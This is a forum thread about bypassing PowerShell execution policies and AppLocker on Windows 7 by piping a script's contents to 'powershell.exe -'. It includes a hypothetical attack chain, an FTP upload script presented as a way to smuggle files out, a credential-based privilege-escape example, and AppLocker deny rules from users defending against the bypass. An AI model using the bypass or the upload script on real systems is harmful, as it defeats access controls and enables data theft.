Windows 7 AppLocker can be bypassed

[m00nbl00d]

So, recently due to wanting to achieve something, I restarted my PowerShell studies. Due to lazyness I stopped studies sometime ago.

By default, PowerShell scripts cannot be executed. It has execution policies. The one enabled by default is Restricted, which means no scripts are executed. To allow execution, you'd need to start PowerShell with administrative rights and then change the execution policy to Unrestricted (all scripts can run), RemoteSigned (only local scripts can run) or AllSigned (both local and remote scripts must be digitally signed).

Anyway, it came to my attention that it's possible to bypass PowerShell execution policies.

This is an example of bypassing its policies, by getting the contents of a script I created and pass the info to powershell.exe:


get-content .\dnscrypt-proxy.ps1 | powershell.exe -noprofile -

First, we need to use the cmdlet Get-Content to get the contents of the script dnscrypt-proxy.ps1. This is a script I got and that I created.

Then, we'll pipeline the content, using |, which will pass the content to powershell.exe. powershell.exe will be run with the parameters -noprofile, which means that no PowerShell profile will be executed, and then the parameter -. The parameter - is what actually does the trick.

Of course, we're talking about a situation of using the same privileges the user has. But, it does allow to bypass AppLocker/SRP/etc.

So, even with AppLocker preventing execution of *.ps1 files (PowerShell scripts), by using the above trick, the script will still be run, bypassing both PowerShell execution policies and AppLocker.

Most likely, it will also bypass SRP. Maybe others as well.

This is actually something Microsoft should fix, in PowerShell. Windows 7 has version 2. I don't know if version 3, which will come out with Windows 8 and will be available for Windows 7, if it works different.

[ronjor]

Understanding AppLocker Policy Design Decisions

about_Execution_Policies

[m00nbl00d]

Originally Posted by ronjor

Understanding AppLocker Policy Design Decisions

about_Execution_Policies

What do you mean? Are you just providing more info about the two, for general purposes, or do you mean to show it to me?

If it was meant to me, then to change execution policies in PowerShell, in theory you need administrator privileges, as the page you provided also explains.

Note: In Windows Vista and later versions of Windows, to run
commands that change the execution policy for the local
computer (the default), start Windows PowerShell with the
"Run as administrator" option.

Regarding AppLocker, it can't prevent it, and it's not a limitation in it or a flaw in itself. Simply because of how PowerShell works (it has a "backdoor"), you can bypass PowerShell execution policies without administrative rights and then make powershell.exe read and execute the script instructions line by line.

This is why AppLocker/other gets bypassed. It's not a flaw in these security mechanisms/application, but a stupid "backdoor" in PowerShell, which will allow the security measures to be bypassed.

-edit-

If you only meant to post general information for anyone else, then forget about what I wrote above.

[ronjor]

I would comment in these blogs. https://blogs.msdn.com/b/powershell/...edirected=true

[m00nbl00d]

Originally Posted by ronjor

I would comment in these blogs. https://blogs.msdn.com/b/powershell/...edirected=true

Thanks for that link. I'm posting there right now. Hopefully, they will moderate the post soon and post it there and respond to it.

[m00nbl00d]

This is what I posted there, under darko:

Hello,

I've recently started to study and learning PowerShell scripting, and I learnt that, even if we got Set-ExecutionPolicy set to Restricted, we can still bypass it, without having to elevate PowerShell to change the execution policy. This is most likely a well known "trick", even by you folks. But, it does come with security implications.

I've created a simple script to do a certain task. With execution policy set to Restricted, I could use the following, to actually make PowerShell run the script contents:

Get-Content .\dnscrypt-proxy.ps1 | powershell.exe -NoProfile -

This not only has security implications, because Windows 7 has PowerShell installed by default, but the execution policy Restricted/etc are pretty much useless, because this "backdoor" exists.

This will also make it possible to bypass AppLocker. AppLocker blocks PowerShell scripts (*.ps1), but by using the above command, then the script contents will still be executed, and simply because the script is being executed, hence AppLocker can't prevent the executions of the commands using that command, that allows to bypass both PowerShell and AppLocker/SRP/other.

You folks really should develop a hotfix for PowerShell to remove this, or remove it by default, but allow the Administrator to set that "backdoor" as he/she needs. But, it should be working like this. It's dangerous and reckless.

The comment is still awaiting moderation. Hopefully, they will see it soon enough.

-edit-

Where it says But, it should be working like this., it should be *shouldn't*.

[m00nbl00d]

WTF

They didn't reveal my first post there? They did reveal the one I added to explaining this:

Where it says "But, it should be working like this." it was suppose to be "But, it shouldn't be working like this.".

But, why didn't they add the other one? Do they consider it serious enough, which is why they didn't make it publically available? *

-https://blogs.msdn.com/b/powershell/archive/2009/06/02/getting-started-with-applocker-management-using-powershell.aspx?Redirected=true

-edit-

* Hopefully, that is the case, because I do consider it pretty serious, and they will provide an hotfix for PowerShell.

[safeguy]

@moonblood

Thanks for this alert! I must confess to not knowing much about Powershell but since I do not use it, have been blocking it using Applocker despite having seen your previous posts on this thread of ssj100 before:

Blocking Powershell?
xttp://ssj100.fullsubject.com/t7-blocking-powershell#3551

If anyone feels the need to block Powershell using Applocker, you can try adding these rules:

a) Executable Rules:

Add these under the 'Exceptions' tab of the "Allow Everyone All files located in the Windows folder" rule (if you're using the default Windows auto-generated path rules) and as a 'Deny for Everyone' rule (if you intend to block it from Admins as well)

C:\Windows\System32\*powershell.exe
C:\Windows\System32\*powershell_ise.exe
C:\Windows\winsxs\*powershell.exe
C:\Windows\winsxs\*powershell_ise.exe

b) DLL Rules:

Add these under the 'Exceptions' tab of the "Allow Microsoft Windows DLLs" rule (if you're using the default Windows auto-generated path rules) and as a 'Deny for Everyone' rule (if you intend to block it from Admins as well)

C:\Windows\winsxs\*powershell_ise.resources.dll

I hope this gets a fix as well.

[m00nbl00d]

Hello safeguy! Long time no talk!!

It's actually pretty concerning, otherwise read what I was writing moments ago to post here:

Suppose you're allowing a PowerShell script to be executed, by creating an hash rule in AppLocker, for instance.

One would expect the script not be allowed execution, if it is modified, because the hash value no longer matches. We could even be using a script for testing purpose for while, maybe a few days... or maybe we just have it in our Desktop. What's to worry, right? I mean, AppLocker/other is there and will prevent execution, if the script gets modified.

Now, we're running in a default deny policy and with outbound control in our firewall. We have a script interacting with the Internet.

If anyone happens to be tricked into running something with standard user rights, this something could be some other kind of tool coded to create some *.ps1 file in the user profile folder, and add to it whatever they want, hide the script, then they can use some scripting language that allows them to automate GUI input... something like AutoIt or AutoHotKey... and hide everything from the user. So, it opens powershell.exe, and with PowerShell window hidden, it will simulate they keyboard and write the command get-content .\script_here.ps1 | powershell.exe -noprofile -. Then it "presses" the Enter key.

Depending on what an attacker wants to do, he/she may actually be able to bypass even a firewall without having to have its own rule, considering the previously created script by the user interacts with the Internet - which could make use of another component that is allowed connection and that can be abused. Maybe an user has got a script to upload files to an ftp server or download something. This could be abused.

For example, this script would allow to upload a file to an ftp server:

$FileToUpload = "Path to\powershell.txt"
$ftp = "ftp://username:password@domain.com/pub/incoming/powershell.txt"
"ftp url: $ftp"
$WebClient = New-Object System.Net.WebClient
$URI = New-Object System.Uri($ftp)
$webclient.UploadFile($URI, $FileToUpload)

The above script will use powershell.exe. If that's allowed in the firewall... then any keylogger could abuse PowerShell this way, bypass something like AppLocker and even a firewall.

Am I being paranoid?

NOTE: The above quote is a comment I was going to post at this thread, but while I was writing I got logged out, because I'm not allowing cookies. lol I'm quoting it, to make it more visible. lol

[m00nbl00d]

Originally Posted by safeguy

[...]have been blocking it using Applocker [...]

Those running Sandboxie, could also create a dedicated sandbox to PowerShell, force both powershell.exe and PowerShell_ISE.exe to run in that sandbox, and then only allow execution in the sandbox to bogus processes like powershell_blocked.exe and PowerShell_ISE_blocked.exe

This will make Sandboxie automatically terminate powershell.exe and PowerShell_ISE.exe.

If someone happens to need PowerShell, but mostly only for local tasks, then I'd create a firewall rule preventing powershell.exe to connect out, until you need to connect out (you'd then enable it). Or, if you need it to connect out a lot, make sure you restrict it only specific domain names, if the firewall allows you to add domains, or to specific IPs.

[tomazyk]

I added both PowerShell executables to MD's blocked applications group (already had both script hosts in that group).

Thank you for this info m00nbl00d

[m00nbl00d]

Originally Posted by tomazyk

I added both PowerShell executables to MD's blocked applications group (already had both script hosts in that group).

Thank you for this info m00nbl00d

You're welcome.

This could actually be more problematic than what I mentioned above. If it could be worse.

I'll explain what I mean. I practice privilege isolation in my system. What I mean with this is that, I have different standard user accounts to perform different tasks. One of such accounts cannot access my web browsers. There's actually no profile in the connection device for that user account.

Now, imagine that I'm working in this user account, but I happen to have a PowerShell script there, in my userprofile. This script could actually be the script I created. This script I create securily stores another restricted standard user account, whose credentials I use to initiate DNSCrypt for all other user accounts. Normally, AppLocker/other would block, because the hashes no longer match. But, due to the backdoor in Powershell...

I just made another test, using Microsoft DVD Maker. Part of the script looks like this:

$username = ""
$password = ""
$credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @($username,(ConvertTo-SecureString -String $password -AsPlainText -Force))
Start-Process DVDMaker -WorkingDirectory "C:\Program Files\DVD Maker" -Credential ($credentials)

The credentials are already stored in a file, that were created by another script I had found. I still don't have enough knowledge to do it on my own this bit. The above script I made it. That's a somewhat basic script. lol

Anyway, let's consider that the credentials are already secured.

You are in an user account without Internet access. But, there's a PowerShell script that apparently is pointing to some other user's account, and who knows, maybe this user can access the Internet and permissions to use a web browser. Right?

So, let's change things a bit.

[...]
Start-Process browser -WorkingDirectory "C:\Program Files\browser folder" -Credential ($credentials)

Save the script. Open PowerShell and write the following:

get-content .\script.ps1 | powershell.exe -noprofile -

And, there you go, you open the web browser, using this other user's credentials, and guess what... this user account can access the Internet. Not only that, you can download, etc... who knows, even infect this other user's account, because there's no desktop privilege isolation, when running it like this. (There can be desktop isolation, but one would need to schedule a task, pointing directly to the browser.)

-edit-

If the web browser is Google Chrome, then if all is the same as in the past, then it will open, but the user won't be able to navigate. Something related to its own sandbox. But, it works fine with Internet Explorer... other browsers as well.